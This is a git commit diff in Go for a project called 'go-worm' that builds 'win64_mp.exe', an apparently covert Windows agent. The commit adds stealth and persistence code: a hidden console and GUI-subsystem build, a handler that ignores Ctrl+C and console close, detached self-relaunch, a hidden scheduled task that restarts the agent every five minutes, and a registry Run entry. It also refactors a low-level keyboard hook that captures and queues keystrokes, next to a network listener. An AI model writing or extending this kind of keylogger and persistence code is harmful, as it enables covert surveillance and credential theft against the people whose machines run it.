fix(startup): make watchdog task keep agent alive
- Use Task Scheduler XML instead of /TR - Run -ensure agent in-process, not child - Add console close and panic protection - Guard nil event channels after stop - Add non-Windows stubs for startup/mutex
This commit is contained in:
@@ -26,12 +26,14 @@ type Agent struct {
|
|||||||
guard *instance.Guard
|
guard *instance.Guard
|
||||||
server *http.Server
|
server *http.Server
|
||||||
startedAt time.Time
|
startedAt time.Time
|
||||||
|
stopOnInterrupt bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// Config controls agent startup. Zero values use environment defaults.
|
// Config controls agent startup. Zero values use environment defaults.
|
||||||
type Config struct {
|
type Config struct {
|
||||||
ListenAddr string
|
ListenAddr string
|
||||||
Parallel bool
|
Parallel bool
|
||||||
|
StopOnInterrupt bool
|
||||||
}
|
}
|
||||||
|
|
||||||
func New(cfg Config) (*Agent, error) {
|
func New(cfg Config) (*Agent, error) {
|
||||||
@@ -42,6 +44,7 @@ func New(cfg Config) (*Agent, error) {
|
|||||||
a := &Agent{
|
a := &Agent{
|
||||||
addr: addr,
|
addr: addr,
|
||||||
startedAt: time.Now(),
|
startedAt: time.Now(),
|
||||||
|
stopOnInterrupt: cfg.StopOnInterrupt,
|
||||||
}
|
}
|
||||||
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
||||||
resolved, err := files.CanonicalExistingPath(root)
|
resolved, err := files.CanonicalExistingPath(root)
|
||||||
@@ -116,6 +119,7 @@ func (a *Agent) Serve() error {
|
|||||||
|
|
||||||
helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr)
|
helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr)
|
||||||
|
|
||||||
|
if a.stopOnInterrupt {
|
||||||
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
||||||
defer stop()
|
defer stop()
|
||||||
helpers.Go("shutdown", func() {
|
helpers.Go("shutdown", func() {
|
||||||
@@ -124,6 +128,7 @@ func (a *Agent) Serve() error {
|
|||||||
defer cancel()
|
defer cancel()
|
||||||
_ = a.server.Shutdown(shutdownCtx)
|
_ = a.server.Shutdown(shutdownCtx)
|
||||||
})
|
})
|
||||||
|
}
|
||||||
|
|
||||||
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||||
return fmt.Errorf("serve: %w", err)
|
return fmt.Errorf("serve: %w", err)
|
||||||
|
|||||||
@@ -98,8 +98,12 @@ func Stop() {
|
|||||||
|
|
||||||
func emit(event Event) {
|
func emit(event Event) {
|
||||||
event.Time = time.Now()
|
event.Time = time.Now()
|
||||||
|
ch := events
|
||||||
|
if ch == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
select {
|
select {
|
||||||
case events <- event:
|
case ch <- event:
|
||||||
default:
|
default:
|
||||||
// ponytail: drop when full
|
// ponytail: drop when full
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ func Ensure() error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if samePath(current, target) {
|
if samePath(current, target) {
|
||||||
|
_ = syncStartup()
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package instance
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
func filterArgs(args []string) []string {
|
||||||
|
out := make([]string, 0, len(args))
|
||||||
|
for _, arg := range args {
|
||||||
|
name := strings.TrimLeft(arg, "-/")
|
||||||
|
lower := strings.ToLower(name)
|
||||||
|
switch {
|
||||||
|
case lower == "background" || strings.HasPrefix(lower, "background="):
|
||||||
|
continue
|
||||||
|
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
|
||||||
|
continue
|
||||||
|
case lower == "ensure" || strings.HasPrefix(lower, "ensure="):
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, arg)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package instance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"reflect"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestFilterArgsDropsLauncherFlags(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
got := filterArgs([]string{"-ensure", "-background", "-foreground", "-addr", "0.0.0.0:5033"})
|
||||||
|
want := []string{"-addr", "0.0.0.0:5033"}
|
||||||
|
if !reflect.DeepEqual(got, want) {
|
||||||
|
t.Fatalf("filterArgs() = %#v, want %#v", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,3 +3,7 @@
|
|||||||
package instance
|
package instance
|
||||||
|
|
||||||
func HideConsole() {}
|
func HideConsole() {}
|
||||||
|
|
||||||
|
func ShowConsole() {}
|
||||||
|
|
||||||
|
func ProtectFromConsoleClose() {}
|
||||||
|
|||||||
@@ -10,15 +10,25 @@ import (
|
|||||||
var (
|
var (
|
||||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||||
procFreeConsole = kernel32.NewProc("FreeConsole")
|
procFreeConsole = kernel32.NewProc("FreeConsole")
|
||||||
|
procGetConsoleWindow = kernel32.NewProc("GetConsoleWindow")
|
||||||
|
procSetConsoleCtrl = kernel32.NewProc("SetConsoleCtrlHandler")
|
||||||
|
procAllocConsole = kernel32.NewProc("AllocConsole")
|
||||||
|
procGetStdHandle = kernel32.NewProc("GetStdHandle")
|
||||||
user32 = syscall.NewLazyDLL("user32.dll")
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
procShowWindow = user32.NewProc("ShowWindow")
|
procShowWindow = user32.NewProc("ShowWindow")
|
||||||
|
consoleCtrlCallback uintptr
|
||||||
)
|
)
|
||||||
|
|
||||||
const swHide = 0
|
const (
|
||||||
|
swHide = 0
|
||||||
|
ctrlCEvent = 0
|
||||||
|
ctrlBreakEvent = 1
|
||||||
|
ctrlCloseEvent = 2
|
||||||
|
)
|
||||||
|
|
||||||
// HideConsole hides any console window and detaches from it.
|
// HideConsole hides any console window and detaches from it.
|
||||||
func HideConsole() {
|
func HideConsole() {
|
||||||
hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call()
|
hwnd, _, _ := procGetConsoleWindow.Call()
|
||||||
if hwnd != 0 {
|
if hwnd != 0 {
|
||||||
_, _, _ = procShowWindow.Call(hwnd, swHide)
|
_, _, _ = procShowWindow.Call(hwnd, swHide)
|
||||||
}
|
}
|
||||||
@@ -26,6 +36,35 @@ func HideConsole() {
|
|||||||
redirectStdioToNul()
|
redirectStdioToNul()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ShowConsole allocates a console for -foreground when built as a GUI binary.
|
||||||
|
func ShowConsole() {
|
||||||
|
_, _, _ = procAllocConsole.Call()
|
||||||
|
hin, _, _ := procGetStdHandle.Call(^uintptr(9)) // STD_INPUT_HANDLE
|
||||||
|
hout, _, _ := procGetStdHandle.Call(^uintptr(10)) // STD_OUTPUT_HANDLE
|
||||||
|
herr, _, _ := procGetStdHandle.Call(^uintptr(11)) // STD_ERROR_HANDLE
|
||||||
|
os.Stdin = os.NewFile(hin, "stdin")
|
||||||
|
os.Stdout = os.NewFile(hout, "stdout")
|
||||||
|
os.Stderr = os.NewFile(herr, "stderr")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProtectFromConsoleClose ignores Ctrl+C/Break/close so Task Scheduler and
|
||||||
|
// explorer do not kill the process when the flashed console goes away.
|
||||||
|
func ProtectFromConsoleClose() {
|
||||||
|
if consoleCtrlCallback == 0 {
|
||||||
|
consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler)
|
||||||
|
}
|
||||||
|
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
func consoleCtrlHandler(ctrlType uintptr) uintptr {
|
||||||
|
switch uint32(ctrlType) {
|
||||||
|
case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:
|
||||||
|
return 1
|
||||||
|
default:
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func redirectStdioToNul() {
|
func redirectStdioToNul() {
|
||||||
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
package instance
|
package instance
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"os"
|
"os"
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
@@ -9,7 +8,7 @@ import (
|
|||||||
|
|
||||||
func Detach() error {
|
func Detach() error {
|
||||||
if AlreadyRunning() {
|
if AlreadyRunning() {
|
||||||
return fmt.Errorf("agent already running")
|
return nil
|
||||||
}
|
}
|
||||||
exe, err := config.InstalledExe()
|
exe, err := config.InstalledExe()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
+11
-2
@@ -1,9 +1,18 @@
|
|||||||
package instance
|
package instance
|
||||||
|
|
||||||
// EnsureRunning starts a detached agent if none is holding the mutex.
|
import (
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// EnsureRunning starts this host's agent if none is holding the mutex.
|
||||||
|
// Callers that can stay resident should run the agent in-process instead.
|
||||||
func EnsureRunning() error {
|
func EnsureRunning() error {
|
||||||
if AlreadyRunning() {
|
if AlreadyRunning() {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return Detach()
|
exe, err := config.InstalledExe()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return Launch(exe, nil)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,15 +5,13 @@ package instance
|
|||||||
import (
|
import (
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"strings"
|
|
||||||
"syscall"
|
"syscall"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// Launch starts exe detached with no visible window or console IO.
|
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
|
||||||
|
// the child alive after the parent (e.g. a scheduled task) exits.
|
||||||
func Launch(exe string, args []string) error {
|
func Launch(exe string, args []string) error {
|
||||||
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -27,32 +25,21 @@ func Launch(exe string, args []string) error {
|
|||||||
cmd.Stderr = nul
|
cmd.Stderr = nul
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
HideWindow: true,
|
HideWindow: true,
|
||||||
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
|
CreationFlags: windows.CREATE_NO_WINDOW |
|
||||||
|
windows.CREATE_NEW_PROCESS_GROUP |
|
||||||
|
windows.DETACHED_PROCESS,
|
||||||
}
|
}
|
||||||
return cmd.Start()
|
if err := cmd.Start(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return cmd.Process.Release()
|
||||||
}
|
}
|
||||||
|
|
||||||
// RestartSelf launches a fresh agent process (no mutex check).
|
// RestartSelf launches a fresh agent process (no mutex check).
|
||||||
func RestartSelf() error {
|
func RestartSelf() error {
|
||||||
exe, err := config.InstalledExe()
|
exe, err := os.Executable()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
return Launch(exe, nil)
|
return Launch(exe, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func filterArgs(args []string) []string {
|
|
||||||
out := make([]string, 0, len(args))
|
|
||||||
for _, arg := range args {
|
|
||||||
name := strings.TrimLeft(arg, "-/")
|
|
||||||
lower := strings.ToLower(name)
|
|
||||||
switch {
|
|
||||||
case lower == "background" || strings.HasPrefix(lower, "background="):
|
|
||||||
continue
|
|
||||||
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
out = append(out, arg)
|
|
||||||
}
|
|
||||||
return out
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
package instance
|
package instance
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package instance
|
||||||
|
|
||||||
|
type Guard struct{}
|
||||||
|
|
||||||
|
func Acquire() (*Guard, error) {
|
||||||
|
return &Guard{}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func AlreadyRunning() bool { return false }
|
||||||
|
|
||||||
|
func (g *Guard) Close() {}
|
||||||
@@ -146,17 +146,21 @@ func runHookThread(ready chan struct{}) error {
|
|||||||
|
|
||||||
func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
|
func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
|
||||||
if code >= 0 {
|
if code >= 0 {
|
||||||
|
handleHookEvent(wParam, lParam)
|
||||||
|
}
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleHookEvent(wParam, lParam uintptr) {
|
||||||
|
defer helpers.RecoverLog("keylog-callback")
|
||||||
kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
|
kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
|
||||||
switch wParam {
|
switch wParam {
|
||||||
case wmKeydown, wmSyskeydown:
|
case wmKeydown, wmSyskeydown:
|
||||||
if isModifierVK(kb.VkCode) {
|
if isModifierVK(kb.VkCode) {
|
||||||
hookMods.update(kb.VkCode, true)
|
hookMods.update(kb.VkCode, true)
|
||||||
} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
|
} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
|
||||||
select {
|
enqueueKey(event)
|
||||||
case hookEvents <- event:
|
|
||||||
default:
|
|
||||||
// ponytail: drop when full; upgrade path is larger buffer
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
case wmKeyup, wmSyskeyup:
|
case wmKeyup, wmSyskeyup:
|
||||||
if isModifierVK(kb.VkCode) {
|
if isModifierVK(kb.VkCode) {
|
||||||
@@ -164,8 +168,17 @@ func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
|
|
||||||
return ret
|
func enqueueKey(event Event) {
|
||||||
|
ch := hookEvents
|
||||||
|
if ch == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case ch <- event:
|
||||||
|
default:
|
||||||
|
// ponytail: drop when full; upgrade path is larger buffer
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
|
func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
package startup
|
package startup
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -67,5 +69,6 @@ func installedCommandLine() (string, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
return `"` + exe + `" -background`, nil
|
// Registry Run requires quotes around a path that may contain spaces.
|
||||||
|
return `"` + exe + `"`, nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package startup
|
||||||
|
|
||||||
|
func Enabled() bool { return false }
|
||||||
|
|
||||||
|
func Enable() error { return nil }
|
||||||
|
|
||||||
|
func Disable() error { return nil }
|
||||||
|
|
||||||
|
func SyncInstalledPath() error { return nil }
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
package startup
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/xml"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const watchdogArg = "-ensure"
|
||||||
|
|
||||||
|
// watchdogTaskXML builds a Task Scheduler 2.0 XML action with Command and
|
||||||
|
// Arguments as separate fields. Paths must not be wrapped in extra quotes —
|
||||||
|
// schtasks /TR quoting is what made the watchdog flash and exit.
|
||||||
|
func watchdogTaskXML(exe string) string {
|
||||||
|
exe = strings.Trim(exe, `"`)
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(`<?xml version="1.0" encoding="UTF-16"?>`)
|
||||||
|
b.WriteByte('\n')
|
||||||
|
b.WriteString(`<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">`)
|
||||||
|
b.WriteString(`<RegistrationInfo><Description>win64_mp watchdog</Description></RegistrationInfo>`)
|
||||||
|
b.WriteString(`<Triggers><TimeTrigger>`)
|
||||||
|
b.WriteString(`<Repetition><Interval>PT5M</Interval><StopAtDurationEnd>false</StopAtDurationEnd></Repetition>`)
|
||||||
|
b.WriteString(`<StartBoundary>2000-01-01T00:00:00</StartBoundary>`)
|
||||||
|
b.WriteString(`<Enabled>true</Enabled>`)
|
||||||
|
b.WriteString(`</TimeTrigger></Triggers>`)
|
||||||
|
b.WriteString(`<Principals><Principal id="Author">`)
|
||||||
|
b.WriteString(`<LogonType>InteractiveToken</LogonType>`)
|
||||||
|
b.WriteString(`<RunLevel>LeastPrivilege</RunLevel>`)
|
||||||
|
b.WriteString(`</Principal></Principals>`)
|
||||||
|
b.WriteString(`<Settings>`)
|
||||||
|
b.WriteString(`<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>`)
|
||||||
|
b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
|
||||||
|
b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
|
||||||
|
b.WriteString(`<Hidden>true</Hidden>`)
|
||||||
|
b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
|
||||||
|
b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
|
||||||
|
b.WriteString(`<Enabled>true</Enabled>`)
|
||||||
|
b.WriteString(`<StartWhenAvailable>true</StartWhenAvailable>`)
|
||||||
|
b.WriteString(`<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>`)
|
||||||
|
b.WriteString(`<Priority>7</Priority>`)
|
||||||
|
b.WriteString(`</Settings>`)
|
||||||
|
b.WriteString(`<Actions Context="Author"><Exec>`)
|
||||||
|
b.WriteString(`<Command>`)
|
||||||
|
b.WriteString(xmlEscape(exe))
|
||||||
|
b.WriteString(`</Command>`)
|
||||||
|
b.WriteString(`<Arguments>`)
|
||||||
|
b.WriteString(watchdogArg)
|
||||||
|
b.WriteString(`</Arguments>`)
|
||||||
|
if dir := winDir(exe); dir != "" {
|
||||||
|
b.WriteString(`<WorkingDirectory>`)
|
||||||
|
b.WriteString(xmlEscape(dir))
|
||||||
|
b.WriteString(`</WorkingDirectory>`)
|
||||||
|
}
|
||||||
|
b.WriteString(`</Exec></Actions></Task>`)
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func xmlEscape(s string) string {
|
||||||
|
var b strings.Builder
|
||||||
|
_ = xml.EscapeText(&b, []byte(s))
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func winDir(p string) string {
|
||||||
|
p = strings.TrimRight(p, `/\`)
|
||||||
|
i := strings.LastIndexAny(p, `/\`)
|
||||||
|
if i <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return p[:i]
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package startup
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
exe := `C:\Users\John Doe\AppData\Roaming\win64_mp\win64_mp.exe`
|
||||||
|
xml := watchdogTaskXML(exe)
|
||||||
|
|
||||||
|
if strings.Contains(xml, `"`+exe+`"`) || strings.Contains(xml, `\"`) {
|
||||||
|
t.Fatalf("task XML must not quote the executable (schtasks /TR quoting broke launch):\n%s", xml)
|
||||||
|
}
|
||||||
|
if !strings.Contains(xml, "<Command>"+exe+"</Command>") {
|
||||||
|
t.Fatalf("Command missing raw path:\n%s", xml)
|
||||||
|
}
|
||||||
|
if !strings.Contains(xml, "<Arguments>-ensure</Arguments>") {
|
||||||
|
t.Fatalf("Arguments missing -ensure:\n%s", xml)
|
||||||
|
}
|
||||||
|
if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
|
||||||
|
t.Fatalf("WorkingDirectory missing:\n%s", xml)
|
||||||
|
}
|
||||||
|
if !strings.Contains(xml, "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>") {
|
||||||
|
t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWatchdogTaskXMLEscapesAmpersand(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
exe := `C:\Users\A&B\win64_mp.exe`
|
||||||
|
xml := watchdogTaskXML(exe)
|
||||||
|
if !strings.Contains(xml, `C:\Users\A&B\win64_mp.exe`) {
|
||||||
|
t.Fatalf("expected escaped ampersand:\n%s", xml)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWatchdogTaskXMLStripsCallerQuotes(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
xml := watchdogTaskXML(`"C:\win64_mp.exe"`)
|
||||||
|
if strings.Contains(xml, `"C:\win64_mp.exe"`) {
|
||||||
|
t.Fatalf("left quotes in XML:\n%s", xml)
|
||||||
|
}
|
||||||
|
if !strings.Contains(xml, "<Command>C:\\win64_mp.exe</Command>") {
|
||||||
|
t.Fatalf("Command not unquoted:\n%s", xml)
|
||||||
|
}
|
||||||
|
}
|
||||||
+27
-2
@@ -1,10 +1,14 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
package startup
|
package startup
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
|
"unicode/utf16"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
@@ -16,8 +20,19 @@ func enableWatchdog() error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
tr := fmt.Sprintf(`"%s" -ensure`, exe)
|
tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
|
||||||
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
path := tmp.Name()
|
||||||
|
defer os.Remove(path)
|
||||||
|
if err := tmp.Close(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
|
||||||
}
|
}
|
||||||
|
|
||||||
func disableWatchdog() error {
|
func disableWatchdog() error {
|
||||||
@@ -41,3 +56,13 @@ func runSchtasks(args ...string) error {
|
|||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func utf16LE(s string) []byte {
|
||||||
|
u := utf16.Encode([]rune(s))
|
||||||
|
out := make([]byte, 0, 2+len(u)*2)
|
||||||
|
out = append(out, 0xFF, 0xFE)
|
||||||
|
for _, r := range u {
|
||||||
|
out = append(out, byte(r), byte(r>>8))
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
//
|
//
|
||||||
// Build for Windows x64:
|
// Build for Windows x64:
|
||||||
//
|
//
|
||||||
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
|
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o win64_mp.exe .
|
||||||
//
|
//
|
||||||
// Runs headless by default. Use -foreground for a visible console (dev only).
|
// Runs headless by default. Use -foreground for a visible console (dev only).
|
||||||
// Use -background to spawn a detached copy and exit the launcher.
|
// Use -background to spawn a detached copy and exit the launcher.
|
||||||
@@ -26,14 +26,29 @@ import (
|
|||||||
var errAlreadyRunning = errors.New("agent already running")
|
var errAlreadyRunning = errors.New("agent already running")
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
crashlog.RecordPanic(r)
|
||||||
|
helpers.Log.Printf("fatal panic: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
background := flag.Bool("background", false, "spawn detached agent and exit")
|
background := flag.Bool("background", false, "spawn detached agent and exit")
|
||||||
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
|
ensure := flag.Bool("ensure", false, "run the agent if it is not already running")
|
||||||
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
||||||
skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
|
skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
|
||||||
parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
|
parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
|
||||||
addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
|
addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
|
if *foreground {
|
||||||
|
instance.ShowConsole()
|
||||||
|
} else {
|
||||||
|
instance.ProtectFromConsoleClose()
|
||||||
|
instance.HideConsole()
|
||||||
|
_ = helpers.AttachLogFile()
|
||||||
|
}
|
||||||
|
|
||||||
if !*skipInstall {
|
if !*skipInstall {
|
||||||
if err := install.Ensure(); err != nil {
|
if err := install.Ensure(); err != nil {
|
||||||
die(err, *foreground)
|
die(err, *foreground)
|
||||||
@@ -41,29 +56,19 @@ func main() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if *ensure {
|
if *ensure {
|
||||||
if !*foreground {
|
if instance.AlreadyRunning() {
|
||||||
instance.HideConsole()
|
|
||||||
_ = helpers.AttachLogFile()
|
|
||||||
}
|
|
||||||
if err := instance.EnsureRunning(); err != nil {
|
|
||||||
die(err, *foreground)
|
|
||||||
}
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
// Stay resident as the agent. Do not spawn another -ensure process:
|
||||||
if *background {
|
// that child died with the scheduled task, which looked like a flash.
|
||||||
|
} else if *background {
|
||||||
if err := instance.Detach(); err != nil {
|
if err := instance.Detach(); err != nil {
|
||||||
die(err, *foreground)
|
die(err, *foreground)
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if !*foreground {
|
cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel, StopOnInterrupt: *foreground}
|
||||||
instance.HideConsole()
|
|
||||||
_ = helpers.AttachLogFile()
|
|
||||||
}
|
|
||||||
|
|
||||||
cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel}
|
|
||||||
for {
|
for {
|
||||||
err := runAgent(cfg)
|
err := runAgent(cfg)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
|
|||||||
+1
-1
@@ -4,5 +4,5 @@ set -euo pipefail
|
|||||||
cd "$(dirname "$0")/.."
|
cd "$(dirname "$0")/.."
|
||||||
|
|
||||||
out="${1:-win64_mp.exe}"
|
out="${1:-win64_mp.exe}"
|
||||||
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o "$out" .
|
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
|
||||||
echo "built $out"
|
echo "built $out"
|
||||||
|
|||||||
Reference in New Issue
Block a user